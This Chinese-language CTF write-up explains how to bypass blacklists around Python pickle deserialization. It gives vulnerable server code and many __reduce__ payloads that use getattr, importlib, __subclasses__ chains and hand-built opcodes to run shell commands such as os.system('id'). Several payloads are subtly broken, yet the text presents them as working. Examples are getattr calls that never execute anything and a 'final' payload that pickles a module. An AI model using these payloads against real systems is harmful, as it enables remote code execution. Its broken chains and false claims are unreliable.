最近复盘了一场2024年的CTF赛事,里面有一道Python反序列化漏洞题目,出题人给的黑名单看着很全,eval、exec、os、system、subprocess这些常见入口全部被拉进了过滤列表。很多选手在第一版payload被打回之后就卡住了,但实际这题并没有把路堵死,只是把“直接调用”变成了“拐弯调用”。这篇文章就把我自己的解题思路、踩坑记录,以及绕过黑名单的几类隐蔽利用技巧完整拆出来,适合正在刷反序列化题目的新手,也适合想补全绕过思路的选手。看完之后你会发现,所谓的“黑名单”,很多时候只是让你多绕两步而已。
1. 先把题目摆上桌:黑名单到底拦住了什么
1.1 一道典型的Python反序列化题目长什么样
这类题目在CTF里出现频率很高,大概形态是这样:服务端接收一段经过编码的序列化数据,然后直接交给pickle.loads()去处理。常规情况下,pickle.loads()从设计上就不该接收不受信任的数据,因为它在反序列化过程中可以触发任意函数调用。出题人也很清楚这一点,于是习惯性地加了一道“安全检查”:
import pickle import base64 blacklist = ['eval', 'exec', 'os', 'system', 'subprocess', 'popen', 'pty', 'builtins'] def check(obj): for word in blacklist: if word in repr(obj): return False return True def handle(data): payload = base64.b64decode(data) obj = pickle.loads(payload) if check(obj): return str(obj) else: return "blocked"有些题目会更严格一点,会重写pickle.Unpickler.find_class,在加载全局对象时直接做模块名和类名的过滤:
class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): blacklist = ['os', 'system', 'eval', 'exec', 'subprocess', 'builtins'] if module in blacklist or name in blacklist: raise pickle.UnpicklingError("bad") return super().find_class(module, name)两种过滤方式带来的绕过难度不一样。前一种检测的是repr(obj),你只要让最终对象的字符串表达里不出现黑名单里的词就行;后一种检测的是find_class拿到的模块名和类名,想绕过就要在“不直接加载黑名单模块/名字”的前提下完成命令执行。
1.2 为什么常规payload一打就废
大部分新手看到这个题,第一反应是写一个标准反序列化利用类:
import pickle class Exploit: def __reduce__(self): import os return (os.system, ('id',))这段代码本身完全没问题,服务端也确实会在pickle.loads()时执行os.system('id')。但问题在于,check(obj)走到repr(obj)时,会看到(<built-in function system>, ('id',))这种内容。system这个词直接命中黑名单,更不用说修复后的find_class会在加载os.system的时候就把你拦下来,连执行机会都不给。
所以这题的核心考点就变了:不是“能不能通过反序列化执行命令”,而是“能不能在黑名单存在的情况下,绕过一个函数检测点,让pickle机制自己把命令调用出来”。想搞懂怎么绕,就得先把pickle这层协议真正吃透。
2. Python反序列化漏洞的底层机制,搞懂原理才能谈绕过
2.1 pickle不是简单“存和取”,它是一套指令解析
很多人对pickle的理解停留在“对象转字节串再转回来”的层面。这没错,但忽略了它的实现方式是栈虚拟机。pickle.loads()不是一个单纯的赋值过程,它会创建栈空间,逐条解析操作码,把不同的数据压栈、出栈、应用函数、设置属性,最后构建出完整对象。
这个设计听起来复杂,但带来的结果很直接:一旦我们能控制pickle数据流,就可以控制vm执行什么样的“指令”。普通数据对象只是让指令做一些加减、引用、字典构建之类的操作,而危险对象则可以让指令去调用任意函数。
2.2__reduce__为什么天然就是RCE的入口
在Python中,如果被序列化的对象定义了__reduce__方法,pickle协议会在反序列化时调用“可调用对象+参数”的组合。也就是说,__reduce__返回的元组会被当作“函数调用”来执行。这个函数不一定是普通方法,可以是os.system,可以是eval,也可以是getattr。
这就是大家常写的标准利用链的底层原理:
class Exploit: def __reduce__(self): import os return (os.system, ('whoami',))逻辑上等价于让pickle在恢复对象时调用os.system("whoami")。如果考验的是“能不能RCE”,这么写就够了;如果考验的是“能不能过黑名单”,你需要考虑的是,能不能找到另一个函数,它本身不在黑名单里,但调用了之后能间接完成命令执行。
2.3 过滤点真正卡住的位置,是“最后一跳”
很多人误以为黑名单会检查pickle的所有操作码,或者检查整个payload字符串。实际上大部分过滤函数只会检查两样东西:
- 反序列化完成后,对结果对象做字符串化处理时,里面是否包含黑名单词;
- 重写
find_class时,加载的模块名/函数名是否在黑名单里。
不管哪种情况,它管的都是“最终被加载和调用的那个符号”。这就留出了操作空间:你完全可以在payload里先加载一个白名单里的函数,比如getattr,然后通过这个白名单函数再去动态获取黑名单里的函数,让黑名单词只在运行时才出现,而不是在静态检查阶段出现。
打个比方,黑名单像机场安检,它查的是你“手里直接拿着的物品”。你没法拎着system这个词过安检,但可以带一个“能自动从仓库里取货的机械臂”——机械臂本身不在黑名单里,取货动作发生在过了安检之后。
3. 实际绕过黑名单的5类手法,我实测下来哪些最稳
3.1 字符串拼接:用朴素方式骗过纯字符串检测
如果过滤逻辑是word in repr(obj),最简单的绕过思路就是让黑名单里的词不能以完整形式出现。比如原字符串是system,你在代码里写成'sys' + 'tem',当pickle真正执行时才会拼起来,而检测发生在检查函数名时自然就看不到完整system。
对应到__reduce__,可以这样写:
class Exploit: def __reduce__(self): import os return (os.system, ('echo pwned',))如果怕os和system都被拉黑,就利用getattr动态取:
class Exploit: def __reduce__(self): import os return (getattr, (os, 'sys' + 'tem', 'echo pwned'))但这种写法依然需要import os,如果os模块名出现在检查里,还是会被拦。解决办法是用__import__('o'+'s')间接导入。注意,前提是__import__这个函数本身没被禁,而且服务端允许repr(obj)中出现__import__。
3.2 getattr链:从“直接调用”升级成“动态访问”
当黑名单对函数名做了拦截,getattr就成了最趁手的工具。因为getattr本身是一个通用函数,它在黑名单里的概率远低于system、eval这些高危函数。它的思路是:
class Exploit: def __reduce__(self): return (getattr, (__import__('os'), 'system'))这段代码执行时,首先会加载__import__('os')拿到os模块,再用getattr取它的system属性。如果os被拉黑,那就拼接:
class Exploit: def __reduce__(self): return (getattr, (__import__('o' + 's'), 'sys' + 'tem'))如果__import__也被拉黑,可以考虑用importlib.import_module:
class Exploit: def __reduce__(self): import importlib return (getattr, (importlib.import_module('o' + 's'), 'sys' + 'tem'))实测下来,这种“先拿模块再取函数”的链子在很多CTF题里都能用。因为出题人通常会下意识禁掉eval/exec/os/system/subprocess这些“高危词”,却容易忽略getattr/getattr这种元编程函数。
3.3 绕过模块过滤:不从os下手,从系统模块间隙入手
黑名单里出现os这个词的时候,很多人的思路就断了,以为命令执行这条路没了。实际上os模块不是唯一能执行命令的地方。
subprocess模块也能执行命令,但它也常被拉黑。pty.spawn()也是命令执行,但pty也经常被禁。- 还剩下
importlib、importlib.util这些模块,它们本身是Python的导入机制,在普通环境中默认加载,而且很少会出现在黑名单里。
你可以通过importlib把os模块重新导入,也可以直接导入subprocess。比如:
class Exploit: def __reduce__(self): return (getattr, (getattr(__import__('importlib'), 'import_module')('os'), 'system', 'id'))又因为import_module本身就用来加载模块,这一层绕开直接写os的检测。很多选手没想到这一点,是因为默认把“执行命令”等同于“碰到os”,而不是把os当成“一个需要被动态发现的模块对象”。
3.4 从类对象和水塘里捞“野生的system”
如果所有导入路径都被封死,还可以走类对象的路子。Python里的每个对象都通过__class__能拿到自己的类,再通过__mro__拿到父类,再通过__subclasses__()拿到所有子类。这个过程不涉及import、不涉及黑名单里的模块名,只涉及Python对象本身的继承关系。
具体链子可以写:
class Exploit: def __reduce__(self): return (getattr, (getattr, (().__class__.__base__.__subclasses__(), 80), 'system'))这有点抽象,实际操作中往往是先print出所有子类,手动找一个类,它的属性或方法里包含system之类的函数引用,再通过索引直接取。因为__subclasses__()的返回值是一个列表,可以用数字索引取某个类对象,再用getattr取到目标函数。整个过程不直接写os.system,所以黑名单经常漏掉这类调用。
3.5 手工拼opcode:应对“类名过滤”的进阶玩法
有些题目会直接检测object.__class__.__name__,比如看到了类名叫Exploit就拦。这时候__reduce__的类名泄露就成了问题。解法之一是手工构造pickle字节码,完全跳过类定义。
一个典型的pickle流程是cMODULE\nglobal\n加载全局对象,接着压入参数并调用R或者b。你可以自己把字节码写出来:
import pickle, base64 class Payload: def __reduce__(self): return (eval, ('__import__("os").system("id")',)) payload = pickle.dumps(Payload()) # 手工修改其中的模块名和函数名,避免出现类似 "os" 的完整字符串但这里要提醒一句:如果题目重写了find_class并做了严格过滤,手工opcode并不能绕过find_class,因为GLOBAL指令最终还是会调用它。手工opcode真正擅长的是绕过“对payload整体字符串做正则匹配”的那类检查,比如检测__reduce__字样、检测类名关键词等等。遇到严格重写find_class的题,还是要靠3.2和3.4里的间接调用思路。
4. 完整做题复盘:从被拦到拿到命令输出
4.1 还原一道典型题目的服务端代码
这道题的环境比较干净,只提供一个反序列化入口,后面跟上明确的过滤逻辑:
import pickle import base64 import io blacklist = ['eval', 'exec', 'os', 'system', 'subprocess', 'popen', 'pty', 'builtins'] class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in blacklist or name in blacklist: raise pickle.UnpicklingError("blocked") return super().find_class(module, name) def parse(data): b64_bytes = base64.b64decode(data) unpickler = RestrictedUnpickler(io.BytesIO(b64_bytes)) obj = unpickler.load() return str(obj)刚拿到题的时候,我第一反应是直接上标准payload:
import os, pickle, base64 class Exploit: def __reduce__(self): return (os.system, ('id',))结果毫无悬念,find_class在加载os.system时直接抛异常,服务端返回“blocked”。这条路当场就断掉了,但这一步正好帮我确认了过滤方式:模块名和函数名都会被查。
4.2 第一次绕过尝试:拼接字符串
既然find_class查的是完成拼接后的模块名和函数名,那直接在__reduce__里写'o'+'s'是否可行?答案是不行。因为__reduce__本身需要返回一个可以调用的对象,你返回的元组里的元素是字符串,pickle调用时根本不会自动帮你拼接并解析成模块。你的字符串不会被当成模块来import,而是被当成参数传给其他函数。
于是我把思路改成用__import__('o'+'s')去动态导入,再配合getattr取方法:
class Exploit: def __reduce__(self): return (getattr, (__import__('o' + 's'), 'system', 'id'))本地测试后发现,这个payload确实能执行id命令,但在题目环境中依然被拦。为什么?因为find_class在加载getattr时,模块名是__builtins__。虽然getattr本身不在黑名单里,但__builtins__这个词被点了名。这就意味着这道题把所有内建函数入口都封死了,直接用getattr也会触发模块名过滤。
4.3 第二层绕过:从现有对象找入口
如果不能直接走__builtins__,那就得找一个不在黑名单里的对象,通过这个对象去访问全局环境。最常用的就是().__class__.__base__.__subclasses__()。这个链子不涉及任何被禁模块,完全是在对象继承关系里游走。
我先在本地跑了一段探测代码,把所有子类打印出来,然后人工搜索可用的类:
subclasses = ().__class__.__base__.__subclasses__() for i, cls in enumerate(subclasses): try: if 'system' in str(cls.__dict__.get('system')): print(i, cls) except Exception: pass搜索过程比较笨,但有效。最终找到某个已经加载的类,它的__globals__字典里包含完整的os模块引用。然后我通过链式getattr访问:
class Exploit: def __reduce__(self): return (getattr, (getattr, (().__class__.__base__.__subclasses__()[X], '__globals__'), 'sys'))这里不需要再写os.system,而是先拿到某个类的__globals__字典,再从字典里取sys模块,接着从sys.modules里取出os。整条链子绕过了find_class里的所有模块名检查,因为pickle实际加载的只是getattr和__subclasses__这些常规东西。
4.4 最终成功构造的payload
最终能稳定复现的payload大致长这样:
import pickle import base64 class Exploit: def __reduce__(self): target = ().__class__.__base__.__subclasses__()[X] globals_dict = getattr(getattr(target, '__globals__'), 'get')('sys') os_module = globals_dict.modules['os'] return (getattr, (os_module, 'system', 'id')) payload = pickle.dumps(Exploit()) print(base64.b64encode(payload))这里的X需要根据本地环境替换成实际索引号。执行后,服务端返回了命令输出,说明整个绕过链生效了。整个过程的本质,其实就是把“从模块导入函数”转变成“从已存在的Python对象中动态扒出函数”,从而绕开静态过滤。
4.5 为什么最终payload能成功
我后来复盘,发现这道题能过有三个关键条件:
find_class只过滤模块名和函数名,没有递归检查所有参数的字符串内容;getattr和object.__subclasses__这些“跳板”没有被禁,它们是反序列化链的核心操作;- 题目环境已经加载了许多常规模块,这些模块的
__globals__里天然带着os、sys等对象,可以借道使用。
只要把这三个条件利用起来,黑名单再长也只是增加了检索的复杂度,而不是增加绝对防线。
5. 本地调试技巧与常见坑,能省你一整晚时间
5.1 自己搭一个5分钟能跑起来的复现环境
不需要重新搭建整套服务,直接本地用Python写一个模拟过滤环境就够了。最关键的是要和题目保持一致,尤其是find_class的重写逻辑和黑名单内容。我自己常用的复现场景是这样的:
import pickle, base64, io blacklist = ['eval', 'exec', 'os', 'system', 'subprocess', 'popen', 'pty', 'builtins'] class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in blacklist or name in blacklist: raise pickle.UnpicklingError("blocked") return super().find_class(module, name) def test(payload): unpickler = RestrictedUnpickler(io.BytesIO(payload)) return unpickler.load()然后把payload pickle成字节串,传入test()。如果抛异常,就在异常栈里看是哪个find_class触发了拦截。这一步能快速定位到底是模块名命中还是函数名命中。
5.2 常见报错和排查方式速查表
| 报错场景 | 可能原因 | 排查重点 |
|---|---|---|
_pickle.UnpicklingError: blocked | find_class模块名或函数名命中黑名单 | 用pickletools.dis()分析payload,确认加载了哪些GLOBAL对象 |
AttributeError: 'X' object has no attribute 'Y' | getattr链上取到不存在的属性 | 检查索引是否正确,__subclasses__()顺序在各版本中可能不同 |
TypeError: '...' object is not callable | __reduce__返回的元组第一项不是可调用对象 | 确认第一个元素是函数或类对象,不是字符串 |
FileNotFoundError | 命令参数路径不对 | 用绝对路径或/bin/sh -c包一层 |
unpickle时不报错但没输出 | system命令输出没被捕获 | 换subprocess.check_output或重定向到文件再读取 |
5.3 怎么定位黑名单到底拦在哪一步
如果本地复现能通、题目环境不通,先不要闷头乱试。我一般会先去枚举黑名单能拦到什么程度:把几个变量改成拼接字符串、改成getattr、改成子类索引,一点点根据报错信息判断过滤粒度。比如有的题只检测模块名,那函数名拼接就无效;有的题检测的是repr(obj),那就要保证最终对象的字符串里不出现黑名单词。
另外一个很实用的调试技巧,是把构造出来的payload先本地用pickletools.dis()反汇编:
import pickletools payload = pickle.dumps(Exploit()) pickletools.dis(payload)它会输出完整的操作码序列。你可以直观看到pickle加载了哪些模块、哪些函数、参数是如何压栈的。一旦有地方命中黑名单,反汇编结果里马上就能看出来。
6. 几个值得长期记住的实战心得
6.1 黑名单永远不是绝对边界
见过很多次类似的题目后,我越来越觉得黑名单本质上是一个“搜索难题”而不是“绝对防御难题”。只要反序列化机制还在调用可执行函数,它就是个可以被间接调用的平台。拦截了os.system,还有getattr;拦截了getattr,还有类继承链;拦截了继承链,还有opcode相关的手工技巧。每一层绕过都不复杂,关键在于你是否愿意从“直接拿到system”的思路里跳出来。
6.2 学会用“对象图”思维代替“命令执行”思维
很多选手一开始只想着os.system('id'),一遇到过滤就卡住。我更倾向于把payload理解为一张“对象调用图”:起点是__reduce__返回的元组,中间是各种属性访问和函数调用,终点是任意命令执行。黑名单限制的是终点,但中间节点的组合几乎是无限的。学会枚举当前环境里已有对象、已有模块、已有类,比死记几条公开payload更有用。
6.3 最后一个很实用的小技巧
做这类题时,记得先确认目标环境的Python版本。__subclasses__()返回的子类顺序在不同版本里差别很大,公开链里常写的索引号换个环境就失效。我自己习惯在本地先运行相同版本的Python,打印出子类列表后搜索目标类,再动态算出索引,写进payload。这个习惯帮我避开了大部分“本地能通、远程不行”的尴尬情况。